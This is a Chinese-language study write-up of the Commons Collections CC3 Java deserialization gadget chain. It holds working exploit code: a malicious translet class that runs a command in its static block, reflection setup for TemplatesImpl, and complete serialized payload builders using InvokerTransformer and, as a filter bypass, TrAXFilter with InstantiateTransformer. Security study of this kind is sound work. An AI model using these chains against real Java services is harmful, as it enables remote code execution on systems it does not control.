java反序列化学习-CC3
1. CC3 的基本介绍
在 CC1 和 CC6 攻击链中,我们利用的是命令执行机制进行攻击。与之不同,CC3 引入了一种新的攻击途径:它通过动态加载恶意类来实现代码执行。
2. CC3 的调用链

3 CC3 基于 InvokerTransformer 的实现
首先需要理解动态类加载的核心流程。在 Java 中,类加载主要由 ClassLoader 及其子类负责。标准的入口点是 ClassLoader.loadClass() 方法。加载过程涉及以下关键方法。
(继承关系)ClassLoader ->SecureClassLoader->URLClassLoader->AppClassLoader
ClassLoader.loadClass(不进行初始化) - > ClassLoader.findClass(重写) - > ClassLoader.defineClass(字节码加载类)
其中,defineClass方法是整个链条的核心转换器。它负责接收类文件的原始字节码(通常是 byte[] 形式),并执行必要的处理(如解析、验证),最终在 JVM 中生成一个有效的 Class 对象。因此,defineClass 是将字节流转化为可执行 Java 类的关键步骤。
CC3 攻击链的构建正是基于操控这个类加载过程。然而,ClassLoader.defineClass() 方法本身是 protected 的,这意味着它不能由外部类直接调用。所以 CC3 的关键在于:找到一个在 ClassLoader 继承链中、对其 defineClass 方法进行重写或封装后能提供 public 访问权限的特定类或方法。 我们需要利用这个公开的“窗口”将精心构造的恶意字节码传递给 defineClass 以加载恶意类。但仅加载还不够,我们还需要进一步触发该类的初始化过程,才能执行其静态代码块或构造器中的恶意代码。
最终在 com.sun.org.apache.xalan.internal.xsltc.trax下的TemplatesImpl.TransletClassLoader发现了其重写了defineclass。

因为没有public,所以外界是无法直接调用的,继续寻找该方法在类哪里进行了调用,然后找到了这defineTransletClasses的private类。

继续跟踪,发现同类下的defineTransletClasses()方法调用了此方法,此时看哪里调用了defineTransletClasses,这里出现了三个方法

逐个查看方法,发现第三个方法对_class[_transletIndex]进行了newInstance()操作,如果我们可以控制这个_class[_transletIndex]为恶意类,然后让它进行实例化,此时就可以触发恶意类中的恶意代码。
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
但这个是private方法,所以我们继续寻找谁调用了它,这里跟进到了同类下的newTransformer方法。

下面是这条链中关键的几段代码.
这里如果_name == null就会直接return,_class == null为空才会进入defineTransletClasses,所以我们要让_name不为空,_class为空。

在类中寻找这两个变量,都为private,所以我们只能通过反射来进行更改属性值。

defineTransletClasses里的这部分代码,为_class赋值,并通过defineClass加载_bytecodes[i],并且判断当前加载的类的父类是否为ABSTRACT_TRANSLET,并为_transletIndex赋值。如果我们能控制_class[_transletIndex]变为我们的恶意代码,便可以AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();在这里触发我们的恶意代码。

为了触发这段链,我们需要一个恶意类,且需要是ABSTRACT_TRANSLET的子类,下面是该恶意类的代码。写完后通过javac将他编译放到路径下,供后面代码加载。
public class test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
在defineTransletClasses的加载类前有该段代码,如果_tfactory为空的话,在运行时会报错,所以我们需要通过反射为其赋值。

我们发现 _bytecodes 是一个二维数组,但接收端期望的输入是一个一维字节码数组。为了利用这一点,我们可以将一个包含恶意代码的一维字节码数组放入 _bytecodes这个二维数组中。这样,在后续的 for 循环遍历_bytecodes时,该一维数组会被遍历出来,并被赋值给 defineClass 进行加载。这个操作会导致_class 数组(通常由 defineClass 加载的结果填充)仅包含一个元素。由于 _class只有一个元素,_transletIndex 的值就会被固定为 0(索引从 0 开始)。最终,在执行 _class[_transletIndex].newInstance() 时,程序将确定性地实例化我们预先植入的恶意类。

了解上面问题后,我们开始编写代码,代码如下所示。
emplatesImpl templates = new TemplatesImpl();
Class cls = templates.getClass();
//调用反射修改name的值
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
//调用反射修改_tfactory的值
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
接下来的问题就来到了怎么触发templates.newTransformer(),此时可以同CC1,利用InvokeTransform,具体如下。
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
HashMap hashMap = new HashMap();
hashMap.put("value","v");
Map<Object,Object> transformMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class annotationInvocationHandler =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class,transformMap);
serialize(o);
unserialize("ser.bin");
3. CC3 基于 TrAXFilter 的实现
该方法是在 InvokerTransformer 类被禁用后,研究人员发现的另一种命令执行方式。通过分析,他们成功定位到一个可以直接调用 TemplatesImpl 类中 newTransformer() 方法的替代类,从而绕过了原有的安全限制。

这里不难发现可以通过构造函数来控制templates的值,因此接下来需要寻找能够调用该构造函数的触发点。由于后续transform方法的参数值无法直接控制,所以仍需通过chainedTransformer类中的transform方法链来实现。具体步骤如下:
首先传入TrAXFilter.class作为初始参数
然后通过某个特定类的transform方法
该方法将对上述类及其构造方法进行调用
将构造好的TemplatesImpl Templates = new TemplatesImpl()实例作为参数传入
最终触发TrAXFliter构造方法中的Templates.newInstance()调用链
经过分析,发现InstantiateTransformer类正好满足这个调用需求,可以完美衔接整个利用链。
可以看到他的 transform方法会执行输入的构造方法。

查看构造函数的参数在哪里控制,发现可以直接通过构造方法直接初始化。

所以只需要将chainedTransformer的数组改为调用这个就可以完成这条构造链,以下是完整代码。
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
// ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer", null, null)
// });
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap hashMap = new HashMap();
hashMap.put("value","v");
Map<Object,Object> transformMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class annotationInvocationHandler =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class,transformMap);
serialize(o);
unserialize("ser.bin");

浙公网安备 33010602011771号